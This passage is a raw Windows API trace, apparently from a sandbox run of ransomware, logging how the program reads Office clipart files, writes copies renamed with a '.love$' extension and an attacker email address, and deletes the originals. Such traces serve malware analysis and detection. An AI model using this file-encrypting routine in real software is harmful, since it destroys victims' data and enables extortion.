Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0122.041] lstrlenW (lpString=".1cd") returned 4 [0122.041] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0122.041] lstrlenW (lpString=".jpg") returned 4 [0122.041] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.042] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0122.042] lstrlenW (lpString="BD00116_.WMF") returned 12 [0122.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0122.043] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=4870) returned 1 [0122.043] CloseHandle (hObject=0x374) returned 1 [0122.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf")) returned 0x220 [0122.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0122.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0122.044] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.044] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0122.045] GetLastError () returned 0x0 [0122.045] ReadFile (in: hFile=0x374, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x1306, lpOverlapped=0x0) returned 1 [0122.047] WriteFile (in: hFile=0x394, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x1310, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x1310, lpOverlapped=0x0) returned 1 [0122.048] ReadFile (in: hFile=0x374, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0122.048] WriteFile (in: hFile=0x394, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0122.048] SetEndOfFile (hFile=0x394) returned 1 [0122.049] CloseHandle (hObject=0x394) returned 1 [0122.052] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.052] SetEndOfFile (hFile=0x374) returned 1 [0122.054] CloseHandle (hObject=0x374) returned 1 [0122.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0122.054] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf")) returned 1 [0122.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0122.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0122.054] lstrlenW (lpString=".doc") returned 4 [0122.054] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.055] lstrlenW (lpString=".docx") returned 5 [0122.055] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.055] lstrlenW (lpString=".pdf") returned 4 [0122.055] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.055] lstrlenW (lpString=".xls") returned 4 [0122.055] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.055] lstrlenW (lpString=".xlsx") returned 5 [0122.055] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.055] lstrlenW (lpString=".ppt") returned 4 [0122.055] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0122.055] lstrlenW (lpString=".zip") returned 4 [0122.055] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.055] lstrlenW (lpString=".rar") returned 4 [0122.055] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.055] lstrlenW (lpString=".bz2") returned 4 [0122.055] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.055] lstrlenW (lpString=".7z") returned 3 [0122.055] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0122.055] lstrlenW (lpString=".dbf") returned 4 [0122.055] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0122.055] lstrlenW (lpString=".1cd") returned 4 [0122.055] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0122.055] lstrlenW (lpString=".jpg") returned 4 [0122.056] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0122.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0122.056] lstrlenW (lpString=".doc") returned 4 [0122.056] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.056] lstrlenW (lpString=".docx") returned 5 [0122.056] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.056] lstrlenW (lpString=".pdf") returned 4 [0122.056] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.056] lstrlenW (lpString=".xls") returned 4 [0122.056] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.056] lstrlenW (lpString=".xlsx") returned 5 [0122.056] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.056] lstrlenW (lpString=".ppt") returned 4 [0122.056] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0122.056] lstrlenW (lpString=".zip") returned 4 [0122.056] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.056] lstrlenW (lpString=".rar") returned 4 [0122.056] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.056] lstrlenW (lpString=".bz2") returned 4 [0122.056] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.056] lstrlenW (lpString=".7z") returned 3 [0122.056] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0122.056] lstrlenW (lpString=".dbf") returned 4 [0122.057] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0122.057] lstrlenW (lpString=".1cd") returned 4 [0122.057] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0122.057] lstrlenW (lpString=".jpg") returned 4 [0122.057] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.057] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0122.057] lstrlenW (lpString="BD00141_.WMF") returned 12 [0122.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0122.058] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=26886) returned 1 [0122.058] CloseHandle (hObject=0x374) returned 1 [0122.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf")) returned 0x220 [0122.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0122.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0122.058] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.058] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0122.059] GetLastError () returned 0x0 [0122.059] ReadFile (in: hFile=0x374, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x6906, lpOverlapped=0x0) returned 1 [0122.064] WriteFile (in: hFile=0x394, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x6910, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x6910, lpOverlapped=0x0) returned 1 [0122.066] ReadFile (in: hFile=0x374, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0122.066] WriteFile (in: hFile=0x394, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0122.067] SetEndOfFile (hFile=0x394) returned 1 [0122.067] CloseHandle (hObject=0x394) returned 1 [0122.072] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.073] SetEndOfFile (hFile=0x374) returned 1 [0122.074] CloseHandle (hObject=0x374) returned 1 [0122.074] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0122.075] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf")) returned 1 [0122.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0122.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0122.075] lstrlenW (lpString=".doc") returned 4 [0122.075] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.075] lstrlenW (lpString=".docx") returned 5 [0122.075] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.075] lstrlenW (lpString=".pdf") returned 4 [0122.075] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.075] lstrlenW (lpString=".xls") returned 4 [0122.076] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.076] lstrlenW (lpString=".xlsx") returned 5 [0122.076] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.076] lstrlenW (lpString=".ppt") returned 4 [0122.076] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0122.076] lstrlenW (lpString=".zip") returned 4 [0122.076] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.076] lstrlenW (lpString=".rar") returned 4 [0122.076] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.076] lstrlenW (lpString=".bz2") returned 4 [0122.076] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.076] lstrlenW (lpString=".7z") returned 3 [0122.076] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0122.076] lstrlenW (lpString=".dbf") returned 4 [0122.076] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0122.076] lstrlenW (lpString=".1cd") returned 4 [0122.076] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0122.076] lstrlenW (lpString=".jpg") returned 4 [0122.076] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0122.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0122.077] lstrlenW (lpString=".doc") returned 4 [0122.077] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.077] lstrlenW (lpString=".docx") returned 5 [0122.077] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.077] lstrlenW (lpString=".pdf") returned 4 [0122.077] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.077] lstrlenW (lpString=".xls") returned 4 [0122.077] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.077] lstrlenW (lpString=".xlsx") returned 5 [0122.077] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.077] lstrlenW (lpString=".ppt") returned 4 [0122.077] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0122.077] lstrlenW (lpString=".zip") returned 4 [0122.077] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.077] lstrlenW (lpString=".rar") returned 4 [0122.077] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.077] lstrlenW (lpString=".bz2") returned 4 [0122.077] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.077] lstrlenW (lpString=".7z") returned 3 [0122.077] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0122.077] lstrlenW (lpString=".dbf") returned 4 [0122.077] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0122.077] lstrlenW (lpString=".1cd") returned 4 [0122.077] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0122.078] lstrlenW (lpString=".jpg") returned 4 [0122.078] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.078] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0122.078] lstrlenW (lpString="BD00146_.WMF") returned 12 [0122.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0122.078] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=28948) returned 1 [0122.079] CloseHandle (hObject=0x374) returned 1 [0122.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf")) returned 0x220 [0122.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0122.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0122.079] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.079] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0122.080] GetLastError () returned 0x0 [0122.080] ReadFile (in: hFile=0x374, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x7114, lpOverlapped=0x0) returned 1 [0122.283] WriteFile (in: hFile=0x394, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x7120, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x7120, lpOverlapped=0x0) returned 1 [0122.285] ReadFile (in: hFile=0x374, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0122.285] WriteFile (in: hFile=0x394, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0122.285] SetEndOfFile (hFile=0x394) returned 1 [0122.285] CloseHandle (hObject=0x394) returned 1 [0122.287] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.287] SetEndOfFile (hFile=0x374) returned 1 [0122.289] CloseHandle (hObject=0x374) returned 1 [0122.289] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0122.289] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf")) returned 1 [0122.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0122.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0122.290] lstrlenW (lpString=".doc") returned 4 [0122.290] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.290] lstrlenW (lpString=".docx") returned 5 [0122.290] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.290] lstrlenW (lpString=".pdf") returned 4 [0122.290] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.290] lstrlenW (lpString=".xls") returned 4 [0122.290] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.290] lstrlenW (lpString=".xlsx") returned 5 [0122.291] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.291] lstrlenW (lpString=".ppt") returned 4 [0122.291] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0122.291] lstrlenW (lpString=".zip") returned 4 [0122.291] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.291] lstrlenW (lpString=".rar") returned 4 [0122.291] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.291] lstrlenW (lpString=".bz2") returned 4 [0122.291] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.291] lstrlenW (lpString=".7z") returned 3 [0122.291] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0122.291] lstrlenW (lpString=".dbf") returned 4 [0122.291] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0122.291] lstrlenW (lpString=".1cd") returned 4 [0122.291] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0122.291] lstrlenW (lpString=".jpg") returned 4 [0122.291] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0122.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0122.291] lstrlenW (lpString=".doc") returned 4 [0122.291] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.291] lstrlenW (lpString=".docx") returned 5 [0122.291] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.292] lstrlenW (lpString=".pdf") returned 4 [0122.292] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.292] lstrlenW (lpString=".xls") returned 4 [0122.292] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.292] lstrlenW (lpString=".xlsx") returned 5 [0122.292] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.292] lstrlenW (lpString=".ppt") returned 4 [0122.292] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0122.292] lstrlenW (lpString=".zip") returned 4 [0122.292] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.292] lstrlenW (lpString=".rar") returned 4 [0122.292] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.292] lstrlenW (lpString=".bz2") returned 4 [0122.292] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.292] lstrlenW (lpString=".7z") returned 3 [0122.292] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0122.292] lstrlenW (lpString=".dbf") returned 4 [0122.292] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0122.292] lstrlenW (lpString=".1cd") returned 4 [0122.292] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0122.292] lstrlenW (lpString=".jpg") returned 4 [0122.292] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.293] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 